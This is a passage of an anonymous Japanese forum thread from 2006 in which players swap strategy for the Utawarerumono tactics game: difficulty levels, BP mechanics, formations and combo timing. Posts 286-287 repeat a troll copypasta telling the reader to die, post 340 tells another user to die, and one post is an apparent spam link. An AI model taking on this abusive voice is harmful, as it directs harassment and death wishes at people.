212 名前:名無しさんだよもん mailto:sage [2006/10/04(水) 23:24:15 ID:HuonAdM+0] BP計算法を知ると、とたんに難易度が下がる。 これを知っていれば、難易度3ノーコンはそんなに難しくないと思う。 仮面は結構好きなステージだな。 仮面兵ってやわらかいから、大ダメージを出せる爽快感がある。
213 名前:名無しさんだよもん mailto:sage [2006/10/04(水) 23:31:42 ID:ZlU6s4it0] 爽快感と言えばスライムへの光。 闇と二連撃できないのが惜しすぎる。
214 名前:名無しさんだよもん [2006/10/05(木) 06:11:49 ID:ZxadiJPm0] ちなみにノーマルでも称号って取れる? ノーコンテニューとか高難易度じゃちょっと俺には難しいんで。
215 名前:名無しさんだよもん mailto:sage [2006/10/05(木) 08:21:57 ID:LLOSr7ZG0] >>214 標準難度では取れない。
216 名前:名無しさんだよもん mailto:sage [2006/10/05(木) 15:07:27 ID:RUhiFSuw0] 難易度5クリアできたぁぁ。ラスボスではオボロが意外な大活躍で驚き
217 名前:名無しさんだよもん [2006/10/05(木) 15:21:23 ID:TdLgo0CY0] 俺のときはべナウィだったな、一騎打ちで
218 名前:名無しさんだよもん mailto:sage [2006/10/05(木) 20:26:47 ID:JctqlrtP0] 難易度5、全滅プレイしまくってハクオロ含む全員のステ99にしてみた(このスレ的には逆ベクトルの頑張り方) 後半になってくると、必殺技なしでアヴカムゥ一撃、なんて難易度5ではありえない性能を味方が発揮してくれるもんだから 調子こいてたらラスボス(Lv94)の全体攻撃で一気に全滅させられたよ。ウィツの強さが身に染みた まあ、必殺技一発当てる度にレベルアップするんで直ぐ挽回できたんだけど、こいつがLv198とかになってたらと想像すると恐ろしい 全員Lv99でも太刀打ちできるのか疑問だわ
219 名前:名無しさんだよもん mailto:sage [2006/10/05(木) 20:47:24 ID:ZiP3KBRT0] 全滅プレイするにはどのステージがいい?
220 名前:名無しさんだよもん mailto:sage [2006/10/05(木) 21:11:34 ID:LUemoy3z0] >>219 暁を乱すものが良いと思う。 障害物が沢山あって稼ぎが楽。
221 名前:名無しさんだよもん mailto:sage [2006/10/05(木) 21:15:16 ID:ZiP3KBRT0] >>220 トンクス
222 名前:名無しさんだよもん mailto:sage [2006/10/05(木) 21:21:44 ID:dr0ubLpE0] >>218 乙w LV47でも一撃死なのか。 LV198と戦ってみたいわ〜。
223 名前:名無しさんだよもん mailto:sage [2006/10/06(金) 00:01:50 ID:k9Q9C1Qk0] 誰かのBP余り出すと損した気分になる
224 名前:名無しさんだよもん [2006/10/06(金) 11:25:11 ID:ywijhEje0] 気分じゃなくて、損してる
225 名前:名無しさんだよもん mailto:sage [2006/10/07(土) 06:04:31 ID:pU82/OM50] デリ初登場MAPは1度であっさりクリアできたのにスオンカスのステージがクリアできぬ カルラを死なせないようにするとエルルゥが殺されてやる気なくなるし逆に放置しとくとカルア死ぬし ぬああああ檻のとこまで進めば楽勝なのに初期位置あたりで死ぬから困る高難度3
226 名前:名無しさんだよもん mailto:sage [2006/10/07(土) 06:05:55 ID:fiFD0Nab0] BPって技5の状態で障害物1撃(連撃しないで)で壊したら40もらえるのでしょうか? よく連撃ミスるので・・・。 もし連撃ちゃんと打たなきゃいけないのならば、alt使ってもいいのでしょうか?
227 名前:名無しさんだよもん mailto:sage [2006/10/07(土) 07:57:42 ID:mgM3riKF0] >>226 それだともらえるのは10ポイントだけ。 ちゃんと連撃出さないとだめ。 altは使ってもいい。
228 名前:名無しさんだよもん mailto:sage [2006/10/07(土) 08:24:34 ID:fiFD0Nab0] なんと・・・じゃぁしっかり出してたらもっと沢山もらえてたのか・・・。 感謝です。
229 名前:名無しさんだよもん mailto:sage [2006/10/07(土) 10:12:27 ID:5iqQmo6f0] ハクオロ強くしすぎるとギリヤギナ攻略不可になる現象どうにかならないのか・・・ 何回やっても無理っす,>>133 と同じ状態かな ハクオロはレベル24でエルルゥ35なのになあ
230 名前:名無しさんだよもん mailto:sage [2006/10/07(土) 15:56:16 ID:+mllwczS0] >>229 育ててないキャラいない? アルルゥとか育ってないの上手く使えば誘き寄せられる。
231 名前:名無しさんだよもん [2006/10/07(土) 16:12:32 ID:5iqQmo6f0] >>230 レスありがとう ウルトリィ使ってもっと頑張ってみる
232 名前:名無しさんだよもん [2006/10/07(土) 19:51:32 ID:PQtfi6L50] 俺の場合はデリホゥライの能力増加を フル活用して、兵士を4、5体にまで減らして その間にアルルゥをまわりこませた。 全然敵が寄ってこないから辛かった。
233 名前:名無しさんだよもん mailto:sage [2006/10/07(土) 19:55:07 ID:r/A081l60] >>231 参考までに アルルゥとトウカで初期位置から左の二体を撃破 残りは初期位置からやや右下(隅ではない)にエルルゥを中心に陣を構える 柵の前までの敵を全滅させた後柵にトウカで近づいて敵出現 一度下がって全滅させたら遠距離攻撃可能なキャラで弓兵を撃破 それからスオンカスをタコにする
234 名前:名無しさんだよもん mailto:sage [2006/10/07(土) 21:08:32 ID:bO/octId0] 難易度3クリアできた。しかしうたわれるものを取るのは大変だな。 レベル51には程遠い。
235 名前:名無しさんだよもん mailto:sage [2006/10/07(土) 23:38:40 ID:pU82/OM50] 防御あげるよりフル攻撃に振って陣形あげれば楽勝だった
236 名前:名無しさんだよもん mailto:sage [2006/10/08(日) 05:39:51 ID:1n6cBQIb0] よくここで難易度5のトウカ強いって言ってるけど・・・。 俺今難易度5でトウカ仲間になったところで26,26,29なんだけど・・・。 何か方法あるんでしょうか?
237 名前:名無しさんだよもん mailto:sage [2006/10/08(日) 05:46:15 ID:1n6cBQIb0] あ〜 使うとステが変わってる・・・。 すいませんでした^^;
238 名前:名無しさんだよもん mailto:sage [2006/10/08(日) 09:46:05 ID:Wag2nPFK0] やっと滅び行くものクリアしたと思ったら・・・・ なんだよあれ・・・仮面兵難しすぎだろ・・・・・・
239 名前:名無しさんだよもん mailto:sage [2006/10/08(日) 12:22:01 ID:ohNrbeOE0] >>238 仮面兵はマップ左下で陣を組むんだ 3ターン目だかにやってくる増援と 初期仮面兵全滅させた時に出てくるディー+仮面兵に注意するんだ
240 名前:名無しさんだよもん mailto:sage [2006/10/08(日) 13:22:27 ID:Wag2nPFK0] >>239 なんとかクリアできたんだが 今度はオンヴィタイカヤンの数が多すぎてだめぽ、ボスケテ
241 名前:名無しさんだよもん mailto:sage [2006/10/08(日) 13:24:28 ID:ohNrbeOE0] >>240 気合だー! しっかり陣組んで戦えば大丈夫さ
242 名前:名無しさんだよもん mailto:sage [2006/10/08(日) 14:50:34 ID:IN1Ahsi40] >>244 最終手段としてハクオロ、エルルゥ、ベナウィかトウカの三人を左下の位置に逃げ込ませれば100%勝てるよ。
243 名前:名無しさんだよもん mailto:sage [2006/10/08(日) 14:52:41 ID:ohNrbeOE0] >>244 クロウは見捨てちゃっておk
244 名前:名無しさんだよもん mailto:sage [2006/10/08(日) 15:20:24 ID:dXOZ+a7j0] わかった、そのやりかたでクロウは見捨てるわ
245 名前:名無しさんだよもん mailto:sage [2006/10/08(日) 15:53:09 ID:Wag2nPFK0] >>242 dクス 肉肉 肉肉 白肉 柚侍 この陣だとオンヴィタイカヤンがハクオロしか狙わなかったんで楽勝でクリアできた
246 名前:名無しさんだよもん mailto:sage [2006/10/08(日) 17:54:55 ID:IN1Ahsi40] >>245 ハクオロが後ろからフォークで狙われそうだなw 乙、あとはウィツ戦頑張れ。
247 名前:前スレ134 mailto:sage [2006/10/08(日) 18:13:29 ID:7Z9Ifwb20] 今さら >133 の難易度5デリの件ですが、ハクオロとエルルゥを育ててしまっていても、 弱いキャラを戦闘に出して瀕死にさせるようにすれば、そちらに普通に誘導されました。
248 名前:名無しさんだよもん mailto:sage [2006/10/08(日) 18:27:52 ID:XvEOKEya0] スレを超え…あなたは何度我々の前に立ちはだかるというのだ、134!!
249 名前:名無しさんだよもん mailto:sage [2006/10/08(日) 18:47:25 ID:Wag2nPFK0] >>246 応援dです さっきウィツ倒した ハクオロのレベルはそんなに高くなかったんで エルルゥを右腕の先の三マス空いてるところに入れてトウカとカルラを回復しつつ攻撃でクリア 称号は解放せしもの、荒ぶるもの(カルラ)、忠実なるもの(源氏丸)、衛士、足軽頭、武人、極めしもの ちなみに難易度は2だった 三週目行ってくるノシ
250 名前:名無しさんだよもん mailto:sage [2006/10/08(日) 18:53:57 ID:41FCsv1T0] >>247 説法返しw
251 名前:名無しさんだよもん mailto:sage [2006/10/08(日) 19:07:09 ID:dXOZ+a7j0] は?
252 名前:名無しさんだよもん mailto:sage [2006/10/08(日) 20:44:59 ID:XvEOKEya0] >>133-134 のことだろう
253 名前:名無しさんだよもん mailto:sage [2006/10/09(月) 01:17:46 ID:nCHJbH/G0] コンテニューで経験値が引き継がれるけどBPも引き継がれますか?
254 名前:名無しさんだよもん mailto:sage [2006/10/09(月) 02:32:36 ID:/BXbWDR80] 引き継がれると思います。
255 名前:名無しさんだよもん mailto:sage [2006/10/09(月) 04:18:52 ID:+ZrALpl10] 引き継がれます
256 名前:名無しさんだよもん mailto:sage [2006/10/09(月) 07:24:59 ID:V8MDQRUv0] >>253 BPが引き継がれるというより 撃破数が引き継がれるので結果的に引き継がれるのと同じ
257 名前:名無しさんだよもん mailto:sage [2006/10/09(月) 09:13:03 ID:nCHJbH/G0] >>254-256 ありがとうございました
258 名前:名無しさんだよもん mailto:sage [2006/10/09(月) 11:25:08 ID:o5FwYqOc0] つか過去レスにあるだろうが
259 名前:名無しさんだよもん mailto:sag [2006/10/10(火) 19:01:02 ID:Wq6ZUOY+0] まったくだな、90,91を見ろ
260 名前:名無しさんだよもん mailto:sage [2006/10/10(火) 20:11:05 ID:7/C0oSOq0] この辺も次スレがあったらテンプレ化だな。 聞く前に試せばそれで済むことだと思うんだけどなぁ。
261 名前:名無しさんだよもん mailto:sage [2006/10/10(火) 21:50:13 ID:7XmibmO40] Ctrlスキップって戦闘も早送りできるんだな。 6周くらいやって気づいたぜ 連撃やべーむずいんだけど
262 名前:名無しさんだよもん mailto:sage [2006/10/10(火) 21:53:56 ID:Wq6ZUOY+0] >>261 あるあるw オボロとべナウィが難しいよな
263 名前:名無しさんだよもん mailto:sage [2006/10/10(火) 22:03:33 ID:Wq6ZUOY+0] 今やってみたけどべナウィは割と簡単だったかな あと今気づいたんだけどドリィとグラァって狙ってる時間が微妙に違うからやりづらい ドリィのほうが早気っすな
264 名前:名無しさんだよもん mailto:sage [2006/10/10(火) 22:29:20 ID:7/C0oSOq0] 本スレから転載 202 名前: 名無しさんだよもん [sage] 投稿日: 2006/09/27(水) 22:50:19 ID:ugCRtdv40 オボロとベナウィはトン、トントントン、トンみたいな感じでリズムでやるとほぼ成功する。 騎兵二人はタイミング注意。離れてるときはゆっくり落ち着いて。 ガチャタラは落ち着いて絵をよく見てれば大丈夫。 全体的に白い輪よりキャラの動きを見てた方が合わせ易い。 慣れればそんなに難しくない。極めし者獲得+全員武人獲得だってできるぞ。頑張れ。 203 名前: 名無しさんだよもん [sage] 投稿日: 2006/09/27(水) 23:42:07 ID:ntsFqHo60 しばらくAltキーでの連撃を見つづけで、タイミングを目に覚えさせましょう。 その際に指でリズムを叩いてるとかも良いと思います。
265 名前:名無しさんだよもん mailto:sage [2006/10/10(火) 22:34:42 ID:BTGFoLJP0] 難度壱クリアしたんだけど、これ以上の難度出来る気がしない 難度壱だけでも称号コンプ出来る?
266 名前:名無しさんだよもん mailto:sage [2006/10/10(火) 22:38:34 ID:0zW/fadF0] >>265 出来るが、スレ住民から根性無しと言われる。
267 名前:名無しさんだよもん mailto:sage [2006/10/10(火) 22:42:06 ID:BTGFoLJP0] >>266 やっぱそうなのか。頑張って弐をやってみます
268 名前:名無しさんだよもん mailto:sage [2006/10/11(水) 00:48:42 ID:fMKoi9+m0] 難易度弐エルルゥ無しでクリア 序盤から中盤は辛かったけど、カルラゥアツゥレイ超えたら楽だった で、調子に乗って難易度参に挑戦したらムティカパであっさり詰まったw 前スレ134はこんなのどうやってクリアしたんだか
269 名前:名無しさんだよもん mailto:sage [2006/10/11(水) 01:01:30 ID:GJ1jhGBf0] そういうときはスレを荒ぶるとかムティカパで検索するとかな…
270 名前:名無しさんだよもん mailto:sage [2006/10/11(水) 01:35:06 ID:wnJvTO0t0] エルルゥなしのムティカパ攻略なんて検索したって出てこないでしょ。
271 名前:前スレ134 mailto:sage [2006/10/11(水) 01:38:31 ID:b07nqaI00] >268 難易度弐おめ◇ 難易度参は最初のステージの方が難しかったような・・・( ̄▽ ̄; あんまり覚えてないですが、BPはモチロン攻撃力につぎ込んでます。 2ステージ後半戦は下の方でエルルゥを盾にしてハクオロをカバーして、 エルルゥがやられるまでテオロで殴り、その後は二人で殴っていったような・・・ LvUpしてたかどうかは忘れました・・・ そもそも誰を育ててたのか・・・ トウカとベナウィだったかな・・・
272 名前:名無しさんだよもん mailto:sage [2006/10/11(水) 02:06:56 ID:QkAOpNN4O] スライムの大群にレイプされまくるんだが コンテ回数13回、ゾクゾクしてきたぜ…
273 名前:名無しさんだよもん mailto:sage [2006/10/11(水) 02:32:41 ID:fMKoi9+m0] >>271 ハクオロを防御重視にしたのがいけなかったのか まあでも自分にはちょっと無理っぽいんで難易度弐で満足しておく
274 名前:名無しさんだよもん mailto:sage [2006/10/11(水) 07:40:31 ID:LjMLM2Vy0] >>272 後ろの二匹をハクオロで倒して ×肉肉 ×白肉 ×柚侍× ×××× 隅でこんな感じに構えればおk 侍は別のキャラでもいいと思う 肉はハクオロしか攻撃してこないんで エルルゥでハクオロ回復しながら肉を攻撃 問題はハクオロに肉の攻撃二回に耐える体力があるかどうかと エルルゥにそれを一度に回復できる攻撃力があるかどうかだが多分大丈夫 健闘を祈る
275 名前:名無しさんだよもん mailto:sage [2006/10/11(水) 16:26:36 ID:80Yk27WD0] 考え無しでやると回復→喰らう→喰らう→一匹倒す→喰らうになってハクオロ死ぬから気をつけよう。
276 名前:229 mailto:sage [2006/10/11(水) 17:37:39 ID:P+5fttQX0] やっぱりギリヤギナ無理だorz いいとこまで行けるんだけど越せる気がしません せっかく難易度5で頑張ってたんだが、挫折しそうです ちなみに出撃メンバーは、トウカ・ウルトリィで ウルトリィがダメージ受け役、トウカ・ハクオロは気力MAXです 私の方法は、ウルトリィが先陣を気って進み、最初の曲がり角で敵が2体来るのでウルトリィが攻撃を受けます そしてトウカの必殺技、ハクオロの通常攻撃で2体を倒し道を空けます そこからウルトリィを先頭にして進むのですが、敵があまり寄ってきません 多分レベル15の剣兵が道を塞いでいるからだと思うのですが、どうでしょうか? そしてレベル15の剣兵のところへ行き、ハクオロの必殺技で倒すのですが そのタイミングくらいでデリホウライもしんでしまいます 分かり難くてすいません、とりあえず越せないということなんです… 頼りはここだけです、誰かアドバイスplz//
277 名前:名無しさんだよもん mailto:sage [2006/10/11(水) 17:41:25 ID:JIKGgV860] >>276 デリホウライ+一般兵はマップ左隅で陣を引く (デリホウライを1番奥に入れて一般兵を上手く配置して弓攻撃から守る) あとはカルラやトウカで強行突破
278 名前:名無しさんだよもん mailto:sage [2006/10/11(水) 17:42:25 ID:zJCFszjm0] そこはウルトじゃなくてカミュ使ってるなどうでもいいけど まぁレベル上げすぎなら使ってないキャラ使うしかない
279 名前:276 mailto:sage [2006/10/11(水) 17:50:09 ID:P+5fttQX0] すいません!!今クリアできました、とてもうれしいです!! >>277 >>278 さん、レスありがとうございます! 今まではデリたちは左端で丸く囲んでたんですが >>277 さんのやり方で縦に並べれば一回で黒あできました!!!!!!!!
280 名前:名無しさんだよもん mailto:sage [2006/10/11(水) 17:51:06 ID:zJCFszjm0] 俺役に立ててないからべつにいいのに(´・ω・`)
281 名前:名無しさんだよもん mailto:sage [2006/10/11(水) 17:51:36 ID:JIKGgV860] >>279 喜びは分かるがまぁ落ち着こうぜ 「黒あできました」ってwwww
282 名前:276 mailto:sage [2006/10/11(水) 17:56:56 ID:P+5fttQX0] 今まで2ヶ月くらいギリヤギナで止まってたんでとても感動でした!! 多分無理だろうなと思ってチャレンジしてみましたが、いけました ! >>280 いえいえ、困ってたときにレスしてくれた優しさが届いたんだと思います アドバイスありがとうございました 。 >>281 はい、クリアでした落ち着きますwセーブも2回したのでもう大丈夫です この恩は忘れませんので、また何か困ったことがあったら 私も全力で考え、あどばいすします、ありがとうございました!
283 名前:名無しさんだよもん [2006/10/11(水) 18:08:25 ID:CrDwevyV0] 2ヶ月w それは頑張ったな。
284 名前:名無しさんだよもん mailto:sage [2006/10/11(水) 19:03:24 ID:80Yk27WD0] つーか>>278 は>>230
285 名前:名無しさんだよもん mailto:sage [2006/10/11(水) 19:29:03 ID:vmXnKmC90] >>274 柚ってwスライムの中身をぶちまけそうに見えるじゃないかw
286 名前:名無しさんだよもん mailto:sage [2006/10/12(木) 15:17:01 ID:8nUUJIFH0] あれほど言ったのに、まだこんなスレ立てるですか人間!もう許さねぇですぅ! お前みたいなチビ人間、許すわけにはいかないのですぅ! こんなスレでレスたくさん付くとでも思ってるなんて頭おかしーのですぅ! お前みたいなバカ初めて見たですぅ!お前みたいなバカ、チビ苺以下ですぅ!お前みたいなおバカ、水銀燈以下ですぅ! 死んでほしーのですぅ!つーか、死ぬべきなのですぅ!お前みたいなチビ人間は絶対に許されないのですぅ! もっと現実を知れよですぅ!いつまでも引きこもってネクラなことしてる場合じゃないよですぅ! お前は生まれ変わってもどうせダメ人間に決まってるですぅ!絞め殺したいけどお前に触るのが嫌なのでやめるですぅ! 絶〜対許さないですぅ!絶対許さないですぅ!絶対許さないのですぅ!お前みたいなチビ人間絶対許さないのですぅ! 早く消えてほしいのですぅ!さっさとこの世からいなくなれよですぅ!!! いつまでも勘違いしたまま生きていけると思ったら大間違いなのですぅ! このまま生きててもお前にはいーことなんにもねーよですぅ!何でもいいからさっさと死ねよですぅ!!!
287 名前:名無しさんだよもん [2006/10/12(木) 17:38:56 ID:uT8VUMEo0] あれほど言ったのに、まだこんなスレ立てるですか人間!もう許さねぇですぅ! お前みたいなチビ人間、許すわけにはいかないのですぅ! こんなスレでレスたくさん付くとでも思ってるなんて頭おかしーのですぅ! お前みたいなバカ初めて見たですぅ!お前みたいなバカ、チビ苺以下ですぅ!お前みたいなおバカ、水銀燈以下ですぅ! 死んでほしーのですぅ!つーか、死ぬべきなのですぅ!お前みたいなチビ人間は絶対に許されないのですぅ! もっと現実を知れよですぅ!いつまでも引きこもってネクラなことしてる場合じゃないよですぅ! お前は生まれ変わってもどうせダメ人間に決まってるですぅ!絞め殺したいけどお前に触るのが嫌なのでやめるですぅ! 絶〜対許さないですぅ!絶対許さないですぅ!絶対許さないのですぅ!お前みたいなチビ人間絶対許さないのですぅ! 早く消えてほしいのですぅ!さっさとこの世からいなくなれよですぅ!!! いつまでも勘違いしたまま生きていけると思ったら大間違いなのですぅ! このまま生きててもお前にはいーことなんにもねーよですぅ!何でもいいからさっさと死ねよですぅ!!!
288 名前:名無しさんだよもん mailto:sage [2006/10/12(木) 18:13:43 ID:GomR6KtF0] >>285 なぜ柚=エルルゥなのか意味が全くわからない俺('A`)
289 名前:名無しさんだよもん mailto:sage [2006/10/12(木) 18:40:18 ID:oFK3jVyGO] >>288 ヒントは中の人
290 名前:名無しさんだよもん mailto:sage [2006/10/12(木) 21:50:23 ID:s6BYg7nF0] >>288 わかり辛くてスマソ 一文字でエルルゥを表現する方法が思いつかんかったんだ 「エ」ってのは味気ないし
291 名前:名無しさんだよもん mailto:sage [2006/10/12(木) 21:51:39 ID:8nUUJIFH0] 姑
292 名前:名無しさんだよもん mailto:sage [2006/10/12(木) 22:59:13 ID:oC+Yq1X8O] >>274 ようやくクリア出来たぜ! 総コンテ回数が60回over 最初から最高難度とかやるもんじゃないな…
293 名前:名無しさんだよもん [2006/10/13(金) 00:19:20 ID:C7ra8t170] >>292 それはおそらく最高難度じゃないという罠 高難度3ならね
294 名前:名無しさんだよもん mailto:sage [2006/10/13(金) 00:20:30 ID:TRYgWYUK0] >>292 最初から最高難度の難易度5には挑戦できない
295 名前:名無しさんだよもん mailto:sage [2006/10/13(金) 01:15:19 ID:nQVFOW+v0] 俺が難易度5クリアした時は94回だったな
296 名前:名無しさんだよもん mailto:sage [2006/10/13(金) 01:34:51 ID:Rxe763FH0] 何も知らずに適当プレイして241回
297 名前:292 mailto:sage [2006/10/13(金) 01:47:30 ID:JlrHrUvgO] な ん だ と ? 確かに俺がクリアしたのは高難度3だが… あれを超える拷問が待ち受けているのか
298 名前:名無しさんだよもん mailto:sage [2006/10/13(金) 02:17:30 ID:nQVFOW+v0] マゾにはたまらんぜ?
299 名前:名無しさんだよもん mailto:sage [2006/10/13(金) 04:46:26 ID:/d9dE1hb0] >>297 いきなり高難度3に挑戦は高難度3クリア後の高難度5よりキツいと思うぞ。
300 名前:名無しさんだよもん mailto:sage [2006/10/13(金) 17:46:06 ID:5mSF3t8j0] CD組で最初に参に挑戦した奴が多分一番死んだと思う。てか死んだ。 CDじゃ突っ込んでっても負けなかったからなー。 >>290 L
301 名前:名無しさんだよもん [2006/10/13(金) 18:24:45 ID:d2WDofN40] CD版ってDVD版とどう違うの?
302 名前:名無しさんだよもん mailto:sage [2006/10/13(金) 18:27:29 ID:TRYgWYUK0] >>301 大人なんだからそれぐらい自分で調べような
303 名前:名無しさんだよもん [2006/10/13(金) 18:47:29 ID:d2WDofN40] >>302 あのねーまだこどもなんでしらべられないんですー おしえてくださいおねがいしまーす しーでぃーばんとでぃーぶいでぃーばんはどうちがうのですかー
304 名前:名無しさんだよもん mailto:sage [2006/10/13(金) 18:58:34 ID:AgKDNQ620] >>299 俺もいきなり難易度3。正直難易度5の方が全滅数少なかったと思う。 それでも初回トウカ戦とか以外にクロウするところもあったから 一概にどっちがキツイともいえないかも
305 名前:名無しさんだよもん mailto:sage [2006/10/13(金) 19:02:00 ID:AgKDNQ620] 訂正 以外→意外 クロウ→苦労 以外はともかく苦労がカタカナ変換されるとは('A`)
306 名前:名無しさんだよもん mailto:sage [2006/10/13(金) 23:03:10 ID:2kDZqtQ+0] うたわれみたいな戦闘システムのエロゲとかって他にある?
307 名前:スレ違いで悪いが mailto:sage [2006/10/14(土) 00:46:06 ID:QdVSqLGo0] >306 「ドラゴンナイト4」とか良いかも。 慣れて来たらドラゴンナイトと弓を使わないとかの制限付でやると結構遊べる。
308 名前:名無しさんだよもん mailto:sage [2006/10/14(土) 01:39:25 ID:rr4iNsSn0] 転載 saleshop.web.fc2.com/ 激安問屋市場が移転セール
309 名前:名無しさんだよもん mailto:sage [2006/10/14(土) 11:00:33 ID:zS53S+gi0] >>308 ナにこれ?アフィリ?
310 名前:名無しさんだよもん [2006/10/14(土) 23:37:25 ID:6KuDM0oGO] ぷ
311 名前:名無しさんだよもん mailto:sage [2006/10/14(土) 23:39:28 ID:UmwG/s+e0] >>303 18kin
312 名前:名無しさんだよもん mailto:sage [2006/10/15(日) 09:24:41 ID:7huHAOWh0] 高難易度に限ったことじゃないんだが シナリオスキップすると連戦が多くならないか? 特攻〜橋上までセーブできなくてやり直しだorz
313 名前:名無しさんだよもん mailto:sage [2006/10/15(日) 10:49:50 ID:K29gLMLq0] >>312 戦闘前の出撃選択の時、オプションからセーブできるんだが…… まぁ乙
314 名前:名無しさんだよもん [2006/10/15(日) 13:23:52 ID:rAqvOUEp0] >>312 俺にもそう思っていた時期がありました
315 名前:名無しさんだよもん mailto:sage [2006/10/15(日) 16:04:57 ID:7huHAOWh0] >>313 書き込みした直後に気づいた・・・orz
316 名前:名無しさんだよもん [2006/10/16(月) 10:00:34 ID:I6Wpzz0W0] なら直後に訂正しろよ、と。
317 名前:名無しさんだよもん [2006/10/17(火) 15:15:31 ID:pLS254gA0] たしかに・・w
318 名前:名無しさんだよもん mailto:sage [2006/10/17(火) 21:42:30 ID:qZgAOlFf0] 最近過疎ってるな。4回クリアしたらおれもやらなくなったけど。
319 名前:名無しさんだよもん mailto:sage [2006/10/17(火) 22:00:19 ID:6Onxbsj10] >>318 発売日を考えようぜ・・・
320 名前:名無しさんだよもん [2006/10/17(火) 22:38:25 ID:pLS254gA0] 逆にここまでよく伸びたなと考えるんだ
321 名前:名無しさんだよもん mailto:sage [2006/10/17(火) 23:11:35 ID:y/0KVgsz0] PS2発売されたらまた伸びるよ そもそもアニメ開始前の閑古鳥状態に比べりゃこれでも速い方なんだけどな そしてPS2持ってない俺はもうすぐ居場所が無くなる
322 名前:名無しさんだよもん mailto:sage [2006/10/18(水) 00:26:04 ID:z/gkj4Sz0] 雑誌の記事だと、難易度選択がなさそうな感じだが 1回クリアすると、高難度が登場するのかな? できれば、アイテムとかのないPC版オリジナルモードも 搭載してほしいところだが。
323 名前:名無しさんだよもん mailto:sage [2006/10/18(水) 02:21:56 ID:NGhMZ+wo0] 称号全部取ってからはやることがないな・・・。 同じく居場所がなくなる・・・。
324 名前:名無しさんだよもん mailto:sage [2006/10/18(水) 13:05:50 ID:/UV5FU0f0] PS2版の紹介で、背後から攻撃するとダメージがあがるってあったんだけど これってDVD版とかでは無かった仕様?
325 名前:名無しさんだよもん mailto:sage [2006/10/18(水) 13:07:49 ID:PuT69KzU0] >>324 無かったと思う でも敵の背後取るなんて事できないと思うんだ・・・ 敵の背後取るって事は突出するって事だし 突出すれば必然的に凹られるのがオチだし
326 名前:名無しさんだよもん mailto:sage [2006/10/18(水) 13:43:10 ID:es1KHOpy0] 移動後、攻撃後に方向転換できなかったしね というか方向の概念がなかった
327 名前:名無しさんだよもん mailto:sage [2006/10/18(水) 19:34:31 ID:V63e3iUP0] 今、初プレイを難易度3で苦労しながらやってます。 キャラの育て方で質問があるんですが、どこの攻略サイトも防御をしっかり 上げるように記されてますが、術防御はスルーしていいのでしょうか?
328 名前:名無しさんだよもん [2006/10/18(水) 20:07:45 ID:a9NstdeV0] 誰かがクーヤ位から防御の代わりに上げ始めるといいって言ってた気がする
329 名前:名無しさんだよもん mailto:sage [2006/10/18(水) 20:08:54 ID:aYNsfiMZ0] >>327 術防御は最終戦以外役に立たないからな。 ハクオロは一切無視でいい。 他のキャラはスライム戦クリア後くらいから防御の代わりに上げる感じで。
330 名前:名無しさんだよもん mailto:sage [2006/10/18(水) 20:12:26 ID:x0ucfO7V0] 序盤は術使いが出てこないからスルーしてもいいけど 中盤以降はちゃんと術防御も上げないときついよ
331 名前:名無しさんだよもん mailto:sage [2006/10/18(水) 20:17:27 ID:V63e3iUP0] >>328-329 様 即レス感謝します。 アドバイス通りその辺りになったら、上げることにします。
332 名前:名無しさんだよもん mailto:sage [2006/10/18(水) 20:19:26 ID:V63e3iUP0] >>330 様 アドバイス感謝です。中盤辺りから上げることにします。 連投すいません。
333 名前:330 mailto:sage [2006/10/18(水) 20:22:01 ID:x0ucfO7V0] …すまん、どうやら俺はヘタクソだったようだ…
334 名前:名無しさんだよもん mailto:sage [2006/10/18(水) 21:18:50 ID:DqC6SQkM0] 術使いってそんなに脅威になったっけ? 狩りし者開始数ターンでやっかいになったくらいしか記憶にない…
335 名前:名無しさんだよもん mailto:sage [2006/10/18(水) 21:19:55 ID:SddJl17Z0] 狩し(ryの術士は辛い、何回アルルゥを殺されたか
336 名前:名無しさんだよもん mailto:sage [2006/10/18(水) 21:56:15 ID:PuT69KzU0] 術使いと言えばニュエ戦の前の要塞攻め(?)の スタート直後の術使いは鬱陶しかった
337 名前:名無しさんだよもん mailto:sage [2006/10/18(水) 21:57:45 ID:es1KHOpy0] 狩りしものってスタート地点の左に1人、右に2人術士がいて あと弓兵がいぱーいいるとこ?
338 名前:前スレ134 mailto:sage [2006/10/18(水) 22:17:52 ID:bAc+Qvxh0] ハクオロ・エルルゥ以外は攻撃が60位になってから防御を上げていけば良いかと。 50位になったら再び攻撃を上げる感じで。 術防はクーヤが過ぎたら1キャラだけ集中的に上げていけば間に合います。
339 名前:名無しさんだよもん mailto:sage [2006/10/19(木) 00:21:54 ID:tbHBpoai0] 狩りしものは死ぬほどうぜえな術
340 名前:名無しさんだよもん mailto:sage [2006/10/19(木) 18:43:26 ID:YB+bfUnv0] なら死ねよ
341 名前:名無しさんだよもん mailto:sage [2006/10/19(木) 19:00:10 ID:uWPpDAhl0] ttp://up2.viploader.net/pic/src/viploader331740.jpg ウィツの攻撃ってこっちが攻撃すれば攻撃力上がったりする? 一回目の攻撃は400ぐらいで大したことなかったけど二回目の攻撃でレベル83のエルルゥに700とかくらわしてきやがった
342 名前:名無しさんだよもん mailto:sage [2006/10/19(木) 19:06:47 ID:XdXUGGUs0] >>341 ウィツの攻撃力は上がらない。 ただ、ブレス攻撃は見た目は変わらんが弱と強の二種類ある。 強の方はウィツのHPが25%減るたびに一発撃ってくる。 それ以外は全部弱の方。
343 名前:名無しさんだよもん mailto:sage [2006/10/19(木) 19:08:46 ID:uWPpDAhl0] >>342 初めて知ったぜdクス
344 名前:名無しさんだよもん mailto:sage [2006/10/19(木) 23:37:55 ID:YB+bfUnv0] 厨くさいな・・・
345 名前:名無しさんだよもん mailto:sage [2006/10/20(金) 03:13:45 ID:hgJDQUIV0] その画像のウィツのLVが10に見えて、一瞬焦った俺がいる。
346 名前:名無しさんだよもん mailto:sage [2006/10/20(金) 03:33:26 ID:hAUcIll90] やあ俺。こんな所で何をしてるんだい?
347 名前:名無しさんだよもん mailto:sage [2006/10/20(金) 16:08:56 ID:wQVCvt4R0] 高難度「壱」に初挑戦で、「極めしもの」を達成しようと思ったんだけど ムティカパ戦で早くも苦労してる テオロにできるだけBP稼がせたいのに結局キママウ2体しか倒せなかった 敵の行動早いわ、ムティカパはハクオロよりエルルゥを優先して狙って来るわで 戦いづらくてしょうがない 最初からこんなんでナ・トゥンクの初戦とかクリアできんのかな…
